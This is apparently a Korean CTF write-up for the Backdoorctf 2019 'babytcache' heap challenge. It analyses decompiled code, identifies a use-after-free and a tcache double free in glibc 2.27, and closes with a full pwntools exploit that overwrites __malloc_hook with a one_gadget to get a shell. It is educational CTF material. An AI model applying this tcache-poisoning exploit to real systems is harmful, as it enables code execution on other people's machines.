CTF Review

[ heap ] Backdoorctf 2019 babytcache

S!_Jmini 2019. 11. 6. 14:01

glibc-2.27

#1. 문제 살펴보기

 

 

실행모습

 

 

보호기법

 

 

GOT 값을 덮지 못하고

 

Stack 에 Canary 가 존재하며

 

Stack 에 쉘코드를 올려서 사용하지못함

 

+ Data영역의 주소가 실행할 때마다 변하는 것을 확인할 수 있다.

 

 

 

 

#2. 문제 분석하기

 

 

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("----------BABYTCACHE----------");
  while ( 1 )
  {
    switch ( comment() )
    {
      case 1:
        add();
        break;
      case 2:
        edit();
        break;
      case 3:
        free_0();
        break;
      case 4:
        view();
        break;
      case 5:
        exit(0);
        return;
      default:
        puts("Invalid");
        break;
    }
  }
}

 

 

각 함수에 대한 자세한 기능은 숨겨놓겠다!

 

더보기

1. 노트를 추가하는 함수 add( )

 

int add()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Note index:");
  result = read_func_0();
  v1 = result;
  while ( v1 >= 0 && v1 <= 7 )                  // 0 <= index <= 7
  {
    if ( bss_malloc[v1] )
      return puts("This note is occupied\n");
    puts("Note size:");
    bss_size[v1] = read_func_0();
    if ( (bss_size[v1] & 0x80000000) == 0 && (int)bss_size[v1] <= 512 )// ~0x200
    {
      bss_malloc[v1] = malloc((int)bss_size[v1]);
      if ( !bss_malloc[v1] )
        exit(0);
      puts("Note data:");
      return read_func((void *)bss_malloc[v1], bss_size[v1]);
    }
    result = puts("Invalid size");
  }
  return result;
}

 

 

 

2. 노트를 수정하는 함수 edit( )

 

int edit()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]

  puts("Note index:");
  result = read_func_0();
  v1 = result;
  if ( result >= 0 && result <= 7 )
  {
    if ( bss_malloc[result] )
    {
      puts("Please update the data:");
      if ( (unsigned int)read_func((void *)bss_malloc[v1], bss_size[v1]) )
        result = puts("update successful\n");
      else
        result = puts("update unsuccessful");
    }
    else
    {
      result = puts("This Note is empty\n");
    }
  }
  return result;
}

 

 

 

3. 노트를  해제하는 함수 free_0( )

 

int free_0()
{
  int result; // eax
  int v1; // eax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Note index:");
  result = read_func_0();
  v2 = result;
  if ( result >= 0 && result <= 7 )
  {
    if ( bss_malloc[result] )
    {
      v1 = data_202010--;
      if ( !v1 )
      {
        puts("Sorry no more removal\n");
        exit(0);
      }
      free((void *)bss_malloc[v2]);             // UAF
      result = puts("done");
    }
    else
    {
      result = puts("This Note is empty");
    }
  }
  return result;
}

 

 

 

4. 노트를 보여주는 함수 view( )

 

int view()
{
  int result; // eax

  puts("Note index:");
  result = read_func_0();
  if ( result >= 0 && result <= 7 )
  {
    if ( bss_malloc[result] )
      result = printf("Your Note :%s\n\n", bss_malloc[result]);
    else
      result = puts("This Note is empty");
  }
  return result;
}

 

 

 

 

 

 

 

free 함수와 view를 통해 발생하는 취약점

 

view를 통해 free를 한 이후 남겨진 fd 값을 확인할 수 있을 것 같다 !

(heap문제들의 취약점은 add,delete를 제외한 메뉴에서 발생한다 )

 

 

 

 

tcache의 취약점

 

 

glibc 2.27 tcache 에서는 DFB 발생한다

 

 

 

 

 

 

 

그리고 이 문제에서 알아두어야할 중요한 점이있다.

 

free( ) 내부에 존재하는 조건문

 

 

 

data_202010 에는 5 라는 값이 고정되어있다.

 

즉, free를 할 수 있는 횟수는 5번으로 한정되어 있다는 점이다 ! 

( tcache bin [7]로 만들고 unsorted bin으로 관리가 넘어가도록 하는 방법은 안될듯하다 )

 

 

 

 

#3. 삽질

 

 

PIE 보호기법 덕분에 malloc 을 가르키는 주소가 적힌 bss 값을 조작할 수 가 없다.

ex) sleepy holder, cat ...

 

 

따라서 offset 값들을 이용하여 문제를 풀어야할 것 같다.

 

 

 

 

 

malloc 을 진행하면 0x251 짜리 큰 청크를 할당한 뒤에 자리를 내어준다(?)

 

그래서 fd 값에서 -0x260 한 위치가 heap base 가 되겠다.

 

 

add(0,0x20,'a'*8)

 

add(1,0x20,'b'*8)

 

free(0)

 

free(0)

 

view(0)

 

 

 

 

 

그리고 libc를 leak 하기 위해서는 unsorted bin 크기의 chunk를 free하여

 

main_arena+88과 같은 값을 얻어내야 한다

 

 

 

 

add 함수에서 크기 조건

 

 

하지만 0x400 이상의 chunk 는 할당할 수가 없다.

 

그렇다면 chunk size를 조작하는 방법을 이용해야한다.

 

 

 

free( )                                                                                      edit( )

 

 

edit( ) 함수는 할당된 chunk 에 data가 존재하면 입력받은 새로운 data 값으로 바꿔주는데

 

free( ) 함수에서 해제만 하고 data 값을 지우지 않는다.

 

따라서 free(0) 이후 edit(0,'a'*8) 이 가능하다

 

 

 

 

그러나

 

 

add( )                                                                                                 edit( )

 

add( ) 함수에서 입력했던 bss_size 값만큼만 edit 가능하기 때문에

 

다음 chunk의 size를 수정할 수는 없을 것 같다.

 

 

 

 

 


 

 

Tcache 가 어떻게 관리되는지 생각해보자

 

 

 

 


 

 

#4. Exploit Code

 

 

from pwn import*
p = process('./babytcache')

### definition
def add(idx,size,data):
    p.sendafter('>> ','1')
    p.send(str(idx))
    p.send(str(size))
    p.send(data)

def edit(idx,data):
    p.sendafter('>> ','2')
    p.send(str(idx))
    p.send(data)

def free(idx):
    p.sendafter('>> ','3')
    p.send(str(idx))

def view(idx):
    p.sendafter('>> ','4')
    p.send(str(idx))

### leak
# heap base
add(0,0x80,'a'*0x10)
add(1,0x100,'b'*0x10)
add(2,0x80,'c'*0x10)

free(0) # for leak
free(0)
free(1) # for exploit
free(1)
view(0)

p.recvline()
p.recvuntil('Your Note :')
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x260
print 'heap_base: '+hex(heap_base)

# main arena
edit(0, p64(heap_base))
add(3,0x80,'d'*0x10)
add(4,0x80,p64(0)*2+p64(0x700000000000000))
free(3)
view(3)

p.recvuntil('Your Note :')
main_arena = u64(p.recv(6).ljust(8,"\x00"))
print 'main_arena+96: '+hex(main_arena)

# exploit
malloc_hook = main_arena - 112
one_list = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = main_arena-96-4111424+one_list[2]
edit(1,p64(malloc_hook))
add(5,0x100,'e`'*0x10)
add(6,0x100,p64(one_gadget))

p.interactive()